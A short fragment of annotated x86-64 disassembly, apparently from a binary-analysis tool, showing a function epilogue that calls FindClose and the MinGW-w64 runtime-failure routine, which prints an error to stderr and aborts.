mov rax, qword [sym.imp.KERNEL32.dll_FindClose]
call rax
jmp 0x140001e7d
nop
add rsp, 0x390
pop rbp
ret

Function at 0x1400021c0
Capabilities:
Write file on windows

Disassembly:
push r12
push rbx
sub rsp, 0x38
mov r12, rcx
lea rax, [rsp + 0x58]
mov ecx, 2
mov qword [rsp + 0x58], rdx
mov qword [rsp + 0x60], r8
mov qword [rsp + 0x68], r9
mov qword [rsp + 0x28], rax
call dbg.__acrt_iob_func
mov r8d, 0x1b
mov edx, 1
lea rcx, str.Mingw_w64_runtime_failure:_n
mov r9, rax
call sym.fwrite
mov rbx, qword [rsp + 0x28]
mov ecx, 2
call dbg.__acrt_iob_func
mov rdx, r12
mov rcx, rax
mov r8, rbx
call sym.vfprintf
call sym.abort
nop
nop word [rax + rax]